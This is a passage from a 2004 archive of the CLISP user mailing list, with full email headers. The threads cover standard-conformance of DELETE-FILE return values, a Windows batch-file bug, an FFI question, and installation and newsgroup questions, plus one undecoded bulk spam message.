second value. >> >> this is not compliant either. >> DELETE-FILE returns 1 value. > > A conformant program would not break. The program (length (multiple-value-list (delete-file "foo"))) would break. See also CLHS section 1.6 "Language Extensions": An implementation must return exactly the number of return values specified by this standard unless the standard specifically indicates otherwise. Bruno From sds@gnu.org Mon Feb 23 06:21:53 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AvGy1-0001Qu-9O for clisp-list@lists.sourceforge.net; Mon, 23 Feb 2004 06:21:53 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AvGqN-00042q-4D for clisp-list@lists.sourceforge.net; Mon, 23 Feb 2004 06:13:59 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1NEDmZB013016; Mon, 23 Feb 2004 09:13:48 -0500 (EST) To: clisp-list@lists.sourceforge.net, "T. Kriewall" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (T. Kriewall's message of "Sun, 22 Feb 2004 21:29:49 -0800 (PST)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "T. Kriewall" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Batch file bug report Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 23 06:22:09 2004 X-Original-Date: Mon, 23 Feb 2004 09:13:48 -0500 > * T. Kriewall [2004-02-22 21:29:49 -0800]: > > 1. The pipe symbols (|) used to form the pretty banner at the head of > the batch file actually act as pipes and cause the batch file to halt. > > 2. Half the slashes used as subdirectory delimiters are back slashes > (correct) and the other half are forward slashes (incorrect). fixed in the cvs > The same sorts of problems crop up in the clisp.bat file. clisp.bat works though, right? -- Sam Steingold (http://www.podval.org/~sds) running w2k Any connection between your reality and mine is purely coincidental. From kriewall@u.washington.edu Mon Feb 23 06:42:36 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AvHI4-0007LC-4E for clisp-list@lists.sourceforge.net; Mon, 23 Feb 2004 06:42:36 -0800 Received: from mxout1.cac.washington.edu ([140.142.32.134]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1AvHAP-00074H-DF for clisp-list@lists.sourceforge.net; Mon, 23 Feb 2004 06:34:41 -0800 Received: from dante58.u.washington.edu (dante58.u.washington.edu [140.142.15.108]) by mxout1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1NEYeHV022274 for ; Mon, 23 Feb 2004 06:34:40 -0800 Received: from localhost (kriewall@localhost) by dante58.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1NEYeJb042888 for ; Mon, 23 Feb 2004 06:34:40 -0800 From: "T. Kriewall" To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Batch file bug report Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 23 06:43:09 2004 X-Original-Date: Mon, 23 Feb 2004 06:34:40 -0800 (PST) clisp.bat worked once I fixed the slashes and corrected the directory associated with lispinit.mem. There might have been other changes but I don't recall them. > > 1. The pipe symbols (|) used to form the pretty banner at the head of > > the batch file actually act as pipes and cause the batch file to halt. > > > > 2. Half the slashes used as subdirectory delimiters are back slashes > > (correct) and the other half are forward slashes (incorrect). > > fixed in the cvs Sorry, what is the cvs? Tom From sds@gnu.org Mon Feb 23 07:16:44 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AvHp6-0008K2-5e for clisp-list@lists.sourceforge.net; Mon, 23 Feb 2004 07:16:44 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AvHW5-0004se-54 for clisp-list@lists.sourceforge.net; Mon, 23 Feb 2004 06:57:05 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1NF8ZZB028327; Mon, 23 Feb 2004 10:08:36 -0500 (EST) To: clisp-list@lists.sourceforge.net, "T. Kriewall" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (T. Kriewall's message of "Mon, 23 Feb 2004 06:34:40 -0800 (PST)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "T. Kriewall" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Batch file bug report Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 23 07:17:03 2004 X-Original-Date: Mon, 23 Feb 2004 10:08:35 -0500 > * T. Kriewall [2004-02-23 06:34:40 -0800]: > > clisp.bat worked once I fixed the slashes and corrected the directory > associated with lispinit.mem. The command part has #\\. The arguments have #\/ and that should be OK. Are you sure you _had_ to make the change? > Sorry, what is the cvs? -- Sam Steingold (http://www.podval.org/~sds) running w2k Linux - find out what you've been missing while you've been rebooting Windows. From sds@gnu.org Mon Feb 23 07:20:33 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AvHsn-00013I-6p for clisp-list@lists.sourceforge.net; Mon, 23 Feb 2004 07:20:33 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AvHl7-0004ix-Hp for clisp-list@lists.sourceforge.net; Mon, 23 Feb 2004 07:12:37 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1NFBjZB029426; Mon, 23 Feb 2004 10:11:46 -0500 (EST) To: clisp-list@lists.sourceforge.net, Kaz Kylheku Cc: Joerg-Cyril.Hoehle@t-systems.com Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Kaz Kylheku's message of "Tue, 17 Feb 2004 11:00:56 -0800 (PST)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Kaz Kylheku , Joerg-Cyril.Hoehle@t-systems.com Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: FFI: array of strings? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 23 07:21:05 2004 X-Original-Date: Mon, 23 Feb 2004 10:11:45 -0500 > * Kaz Kylheku [2004-02-17 11:00:56 -0800]: > > On Tue, 17 Feb 2004, Sam Steingold wrote: > >> 2. How do I interface to >> ? >> char **matGetDir(MATFile *mfp, int *num); >> What is the return value? >> Also, the documentation appears to indicate that what is actually >> returned is (char*[mxMAXNAM]), not (char**): why would they mention > > This is not possible; a C function cannot return an array. :) > > I suspect that your actual suspiction is that it might be > ``char (*)[mxMAXNAM]''. In other words, the pointer to an array of > mxMAXNAM characters (or a pointer to the first element of an > array of arrays, whose elements are arrays of mxMAXNAM characters). > >> mxCalloc() otherwise? > > They say: > > matGetDir returns a pointer to an internal array containing > pointers to the NULL-terminated names > > so it's clear that it's ``char **'', just like the return type says. > > They must do some funny allocation to allow you to blow this away with > just one call to their mxFree() function. The array of pointers and the > string data are all allocated in one memory block. Or perhaps the array > of pointers is dynamic, but the pointers are managed separately; maybe > the MATFile object owns these strings, and the dynamic array is just > used as a temporary object to retrieve the pointers in one call. > > They probably use their mxCalloc() function like this: > > char **arrayOfPointers = mxCalloc(numElements, > sizeof arrayOfPointers[0]); > > so the use of a calloc-like allocator does not support your > suspicion that it's not an array of pointers. so, what's the bottom line? how do I call this this via FFI? it does not appear that I can specify the function to free the data... -- Sam Steingold (http://www.podval.org/~sds) running w2k nobody's life, liberty or property are safe while the legislature is in session From kriewall@u.washington.edu Mon Feb 23 07:30:54 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AvI2o-00044f-GK for clisp-list@lists.sourceforge.net; Mon, 23 Feb 2004 07:30:54 -0800 Received: from mxout4.cac.washington.edu ([140.142.33.19]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1AvHv7-0006ZR-Hi for clisp-list@lists.sourceforge.net; Mon, 23 Feb 2004 07:22:57 -0800 Received: from dante58.u.washington.edu (dante58.u.washington.edu [140.142.15.108]) by mxout4.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1NFMpDZ004835 for ; Mon, 23 Feb 2004 07:22:56 -0800 Received: from localhost (kriewall@localhost) by dante58.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1NFMpiX023620 for ; Mon, 23 Feb 2004 07:22:51 -0800 From: "T. Kriewall" To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Batch file bug report Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 23 07:31:03 2004 X-Original-Date: Mon, 23 Feb 2004 07:22:51 -0800 (PST) Not sure of anything. All I know is the batch file wouldn't execute until I made the changes, but exactly what I did or what was absolutely necessary I don't recall. If it works fine on all other computers, then it was prolly just a fluke. On Mon, 23 Feb 2004, Sam Steingold wrote: > > * T. Kriewall [2004-02-23 06:34:40 -0800]: > > > > clisp.bat worked once I fixed the slashes and corrected the directory > > associated with lispinit.mem. > > The command part has #\\. > The arguments have #\/ and that should be OK. > Are you sure you _had_ to make the change? > > > Sorry, what is the cvs? > > > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > Linux - find out what you've been missing while you've been rebooting Windows. > ------------------------------------------------------------------------- Thomas Kriewall UW Mechanical Engineering ------------------------------------------------------------------------- What passes for woman's intuition is often nothing more than man's transparency. - George Jean Nathan, 1882-1958 ----------------------------------------------------------------- That's the random quote for the day. Tune in again for another. From jerry.kahn@db.com Mon Feb 23 09:53:58 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AvKHF-0005So-BK for clisp-list@lists.sourceforge.net; Mon, 23 Feb 2004 09:53:57 -0800 Received: from imr5.us.db.com ([160.83.65.196]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1AvK9V-0002yS-Sn for clisp-list@lists.sourceforge.net; Mon, 23 Feb 2004 09:45:57 -0800 Received: from sdbo1005.db.com by imr5.us.db.com id i1NHhEJM012125; Mon, 23 Feb 2004 12:43:49 -0500 (EST) To: clisp-list@lists.sourceforge.net X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Jerry Kahn" X-MIMETrack: Serialize by Router on sdbo1005/DBNA/DeuBaInt/DeuBa(5012HF330 | August 01, 2003) at 02/23/2004 12:43:14 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 EXCUSE_16 BODY: I wonder how many emails they sent in error Subject: [clisp-list] dumb question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 23 09:54:11 2004 X-Original-Date: Mon, 23 Feb 2004 12:43:12 -0500 hey! Thanks for CLISP!!!!! I find I can install from the \base directory but not from the \full under windows NT(get an error about a hard link but im fine if i use \base dir )..what are the differences between these two directories? Thanks Jerry (ps if you are Sam, then thanks, Sam.. otherwise whoever you are.. Thanks!!!) -------------------------- Jerry Kahn Deutsche Bank Commodities - IT (212) 250-4114 (917) 385-9334 -- This e-mail may contain confidential and/or privileged information. If you are not the intended recipient (or have received this e-mail in error) please notify the sender immediately and destroy this e-mail. Any unauthorized copying, disclosure or distribution of the material in this e-mail is strictly forbidden. From sds@gnu.org Mon Feb 23 10:04:49 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AvKRk-0007sT-SR for clisp-list@lists.sourceforge.net; Mon, 23 Feb 2004 10:04:48 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AvKK1-0004gp-1p for clisp-list@lists.sourceforge.net; Mon, 23 Feb 2004 09:56:49 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1NHuXFZ021650; Mon, 23 Feb 2004 12:56:34 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Jerry Kahn" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Jerry Kahn's message of "Mon, 23 Feb 2004 12:43:12 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Jerry Kahn" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: dumb question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 23 10:05:09 2004 X-Original-Date: Mon, 23 Feb 2004 12:56:33 -0500 > * Jerry Kahn [2004-02-23 12:43:12 -0500]: > > Thanks for CLISP!!!!! welcome! > I find I can install from the \base directory but not from the \full > under windows NT(get an error about a hard link but im fine if i use > \base dir )..what are the differences between these two directories? base contains just the core. full has some modules added. see . -- Sam Steingold (http://www.podval.org/~sds) running w2k If you're constantly being mistreated, you're cooperating with the treatment. From jerry.kahn@db.com Mon Feb 23 10:22:45 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AvKj7-0003Um-2D for clisp-list@lists.sourceforge.net; Mon, 23 Feb 2004 10:22:45 -0800 Received: from imr6.us.db.com ([160.83.65.199]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1AvKPv-0006cp-1V for clisp-list@lists.sourceforge.net; Mon, 23 Feb 2004 10:02:55 -0800 Received: from sdbo1005.db.com by imr6.us.db.com id i1NIEf34000153; Mon, 23 Feb 2004 13:14:41 -0500 (EST) To: clisp-list@lists.sourceforge.net X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Jerry Kahn" X-MIMETrack: Serialize by Router on sdbo1005/DBNA/DeuBaInt/DeuBa(5012HF330 | August 01, 2003) at 02/23/2004 01:14:41 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 EXCUSE_16 BODY: I wonder how many emails they sent in error Subject: [clisp-list] Re: dumb question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 23 10:23:02 2004 X-Original-Date: Mon, 23 Feb 2004 13:14:39 -0500 Thanks Sam!! I'll check it out! -------------------------- Jerry Kahn Deutsche Bank Commodities - IT (212) 250-4114 (917) 385-9334 Sam Steingold To: clisp-list@lists.sourceforge.net, Jerry Kahn/NewYork/DBNA/DeuBa@DBNA 02/23/2004 12:56 cc: PM Subject: Re: dumb question Please respond to clisp-list > * Jerry Kahn [2004-02-23 12:43:12 -0500]: > > Thanks for CLISP!!!!! welcome! > I find I can install from the \base directory but not from the \full > under windows NT(get an error about a hard link but im fine if i use > \base dir )..what are the differences between these two directories? base contains just the core. full has some modules added. see . -- Sam Steingold (http://www.podval.org/~sds) running w2k If you're constantly being mistreated, you're cooperating with the treatment. -- This e-mail may contain confidential and/or privileged information. If you are not the intended recipient (or have received this e-mail in error) please notify the sender immediately and destroy this e-mail. Any unauthorized copying, disclosure or distribution of the material in this e-mail is strictly forbidden. From maxmania@yahoo.co.jp Mon Feb 23 22:23:45 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AvVyr-0001bR-18 for clisp-list@lists.sourceforge.net; Mon, 23 Feb 2004 22:23:45 -0800 Received: from r02-a07-d1.data-hotel.net ([203.174.77.8]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1AvVet-0004ZV-Nk for clisp-list@lists.sourceforge.net; Mon, 23 Feb 2004 22:03:07 -0800 Received: (qmail 36132 invoked from network); 24 Feb 2004 15:15:19 +0900 Received: from unknown (HELO VALUESTAR) (43.244.5.73) by 0 with SMTP; 24 Feb 2004 15:15:19 +0900 X-Mailer: magicmailer654 MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=iso-2022-jp From: =?ISO-2022-JP?B?GyRCJTchPCUvJWwlQyVIJTUhPCUvJWsbKEI=?= ErrorsTo: manami-super-girl65@magic48598.com To: clisp-list@lists.sourceforge.net Message-Id: <0224104151513.3217@VALUESTAR> X-Spam-Score: 2.7 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.4 RATWARE_HASH_2_V2 Bulk email fingerprint (hash 2 v2) found 0.2 PLING_QUERY Subject has exclamation mark and question mark Subject: [clisp-list] =?ISO-2022-JP?B?GyRCJCIkSiQ/JE8laSVDJS0hPCRHJDkhKhsoQg==?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 23 22:24:02 2004 X-Original-Date: Tue, 24 Feb 2004 15:15:13 +0900 $B;d$?$A$N%5!<%/%k$OA49q$K$$$kITNQ!&<+M3Nx0&$r?d?J$9$k=w@-$?$A$N=8$^$j$G(B 1998$BG/$K@_N)$5$l$^$7$?!#(B $B@_N)Ev=i$O=w@-;o$d%l%G%#!<%9%3%_%C%/$J$I$NEj9FMs$rMxMQ$7$F=w@-2q0w$r4+M6$7!"(B $BEv=i4X@>%(%j%"$@$1$G3hF0$7$F$$$^$7$?!#(B $B$O$8$a$O(B30$BL>DxEY$@$C$?=w@-2q0w$b!"D94|$KEO$k?.MQ$H0J>e$NA49q5,LO$N%5!<%/%k$X$HH/E8$7$^$7$?!#(B $B=w@-2q0w3MF@$O%l%G%#%3%_$X$N9-9p$d(BH$B7O7G<(HD!"%/%A%3%_$,$[$H$s$I$G$9!#(B $B$G$9$N$GEv%5!<%/%k$N=w@-2q0w$O(BSEX$B$K6=L#$N$"$k$+$?$P$+$j$G$9!#(B $B=w@-2q0w$r(BSEX$B$K6=L#$N$"$k$+$?$P$+$j$K$9$k$N$O;~4V$H%3%9%H$,$+$+$j$^$9!#(B $B%7!<%/%l%C%H%5!<%/%k$OD94|E*$KCOF;$K?.MQ$rC[$-!"$=$l$r$NN`;w%5%$%H$H$OHf3S$K$J$i$J$$$[$ICK@-2q0w$K;Y;}$rD:$$$F$*$j$^$9!#(B $B8=:_=w@-2q0w3MF@%-%c%s%Z!<%sCf$K$D$-!"CK@-2q0w$rA49q$+$i8BDj(B100$BL>Jg=8$7$^$9!#(B $BDj0w$K$J$j From: Jim Newton User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5b) Gecko/20030827 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <200402240358.i1O3wHJ4022330@agora.rdrop.com> In-Reply-To: <200402240358.i1O3wHJ4022330@agora.rdrop.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] lisp news groups Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 24 01:22:02 2004 X-Original-Date: Tue, 24 Feb 2004 09:21:47 +0100 hi, does anyone reading this list have any success with the lisp related news groups? I quite often post questions about lisp and about python but never have anyone answering my questions or even comment "wow that was a stupid question" :-) does anyone have any advice about these groups? how to get good responses? when not to bother etc.... many thanks.. -jim From edi@agharta.de Tue Feb 24 01:33:37 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AvYwb-0000r3-9a for clisp-list@lists.sourceforge.net; Tue, 24 Feb 2004 01:33:37 -0800 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AvYoT-0000Ev-QD for clisp-list@lists.sourceforge.net; Tue, 24 Feb 2004 01:25:14 -0800 Received: by bird.agharta.de (Postfix, from userid 500) id E2E9B10F4C; Tue, 24 Feb 2004 10:25:08 +0100 (CET) To: Jim Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] lisp news groups Reply-To: edi@agharta.de References: <200402240358.i1O3wHJ4022330@agora.rdrop.com> <403B099B.4010109@rdrop.com> From: Edi Weitz In-Reply-To: <403B099B.4010109@rdrop.com> (Jim Newton's message of "Tue, 24 Feb 2004 09:21:47 +0100") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 24 01:34:04 2004 X-Original-Date: Tue, 24 Feb 2004 10:25:07 +0100 On Tue, 24 Feb 2004 09:21:47 +0100, Jim Newton wrote: > hi, does anyone reading this list have any success with the lisp > related news groups? As far as Common Lisp is concerned there's actually only one relevant newsgroup - that's comp.lang.lisp. > I quite often post questions about lisp and about python but never > have anyone answering my questions or even comment "wow that was a > stupid question" :-) According to Google you've posted only twice in the last two years (unless you're using another name). The first one wasn't really a question but you got two replies. The second one... Well, check it out yourself: > does anyone have any advice about these groups? how to get good > responses? when not to bother etc.... Edi. From mgraffam@mathlab.sunysb.edu Tue Feb 24 01:35:45 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AvYyf-0001ZI-9i for clisp-list@lists.sourceforge.net; Tue, 24 Feb 2004 01:35:45 -0800 Received: from sunra.mathlab.sunysb.edu ([129.49.17.48]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AvYeZ-0002fL-6R for clisp-list@lists.sourceforge.net; Tue, 24 Feb 2004 01:14:59 -0800 Received: from SunRa.mathlab.sunysb.edu (localhost [127.0.0.1]) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5) with ESMTP id i1O9REWO011669; Tue, 24 Feb 2004 04:27:14 -0500 (EST) Received: from localhost (mgraffam@localhost) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5/Submit) with ESMTP id i1O9RExo011666; Tue, 24 Feb 2004 04:27:14 -0500 (EST) X-Authentication-Warning: SunRa.mathlab.sunysb.edu: mgraffam owned process doing -bs From: Michael Graffam To: Jim Newton cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] lisp news groups In-Reply-To: <403B099B.4010109@rdrop.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: 